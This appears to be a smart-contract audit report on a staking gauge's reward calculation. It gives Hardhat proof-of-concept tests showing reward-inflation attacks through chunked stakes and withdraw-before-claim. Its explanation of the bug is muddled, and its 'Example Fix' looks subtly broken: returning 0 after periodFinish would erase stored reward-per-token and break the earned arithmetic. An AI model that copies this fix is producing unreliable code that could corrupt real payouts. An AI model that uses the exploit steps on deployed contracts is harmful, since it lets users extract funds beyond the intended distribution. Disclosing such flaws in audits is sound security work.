Summary
The current implementation of the earned
function allows rewards to continue accruing even after the reward period has ended. This occurs because getRewardPerToken()
is always even calculated when lastTimeRewardApplicable == periodFinish
, leading to an ever-increasing earned reward value. This behavior opens multiple attack vectors that allow users to extract more rewards than intended.
Vulnerability Details
Affected Code:
The issue stems from the getRewardPerToken()
function:
function getRewardPerToken() public view returns (uint256) {
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}
Since lastTimeRewardApplicable()
continues returning periodFinish
, the subtraction (lastTimeRewardApplicable() - lastUpdateTime)
keeps adding new rewards indefinitely. This results in several exploit scenarios:
POC
-
Reward Chunking Attack
describe("Reward accrual After 30 days instead of 7", () => {
beforeEach(async function () {
this.timeout(120000);
await rewardToken.mint(await baseGauge.getAddress(), ethers.parseEther("10000"));
await baseGauge.setEmission(ethers.parseEther("10000"));
await gaugeController.connect(user1).vote(await baseGauge.getAddress(), 5000);
await rewardToken.mint(user1.address, ethers.parseEther("10000"));
await rewardToken.connect(user1).approve(await baseGauge.getAddress(), ethers.parseEther("10000"));
await baseGauge.connect(user1).stake(ethers.parseEther("10000"));
await baseGauge.notifyRewardAmount(ethers.parseEther("1000"));
});
it.only("should allow reward chunking", async () => {
const user3 = (await ethers.getSigners())[3];
await rewardToken.mint(user3.address, ethers.parseEther("11000"));
await rewardToken.connect(user3).approve(await baseGauge.getAddress(), ethers.parseEther("2000"));
await baseGauge.connect(user3).stake(ethers.parseEther("2000"));
await time.increase(30 * DAY);
const earnedBefore = await baseGauge.earned(user3.address);
console.log("User 3 rewards before any additional stake:", earnedBefore.toString());
for (let i = 1; i <= 3; i++) {
await rewardToken.connect(user3).approve(await baseGauge.getAddress(), ethers.parseEther("10"));
await baseGauge.connect(user3).stake(ethers.parseEther("10"));
const earnedAfter = await baseGauge.earned(user3.address);
console.log(`User 3 rewards after staking ${i * 10} additional tokens:`, earnedAfter.toString());
}
});
});
Withdrawal Before Claiming to Inflate Rewards
it.only("Users withdraw before claiming to inflate rewards", async () => {
const user3 = (await ethers.getSigners())[3];
await rewardToken.mint(user3.address, ethers.parseEther("10000"));
await rewardToken.mint(user2.address, ethers.parseEther("10000"));
await rewardToken.connect(user3).approve(await baseGauge.getAddress(), ethers.parseEther("10000"));
await rewardToken.connect(user2).approve(await baseGauge.getAddress(), ethers.parseEther("10000"));
await baseGauge.connect(user2).stake(ethers.parseEther("10000"));
await time.increase(30 * DAY);
const earned = await baseGauge.earned(user1.address);
const earned3 = await baseGauge.earned(user3.address);
await baseGauge.connect(user3).withdraw(ethers.parseEther("1000"));
expect(earned).to.be.gt(0);
console.log("Total Supply:", (await baseGauge.totalSupply()).toString());
console.log("User 1 Rewards:", earned.toString());
const earned2 = await baseGauge.earned(user3.address);
console.log("user 3 if they didn't withdraw before claiming", earned3.toString());
console.log("User 3 Rewards:", earned2.toString());
});
Impact
Users can claim rewards beyond the intended distribution.
There's discrepancy between the earned reward and claimed rewards. claimed reward is higher
Users can deposit or withdraw strategically to amplify rewards.
Reward chunking allows continuous exploitation beyond the reward period. If user chunks deposit, they can essentially increase their reward 2x each time they add small deposits
Tools Used
Recommendations
Modify getRewardPerToken()
to ensure lastTimeRewardApplicable()
does not return a value past periodFinish
.
Introduce a condition to stop reward calculation after periodFinish
.
Example Fix:
function getRewardPerToken() public view returns (uint256) {
if (block.timestamp >= periodFinish) {
return 0;
}
if (totalSupply() == 0) {
return rewardPerTokenStored;
}
return rewardPerTokenStored + (
(lastTimeRewardApplicable() - lastUpdateTime) * rewardRate * 1e18 / totalSupply()
);
}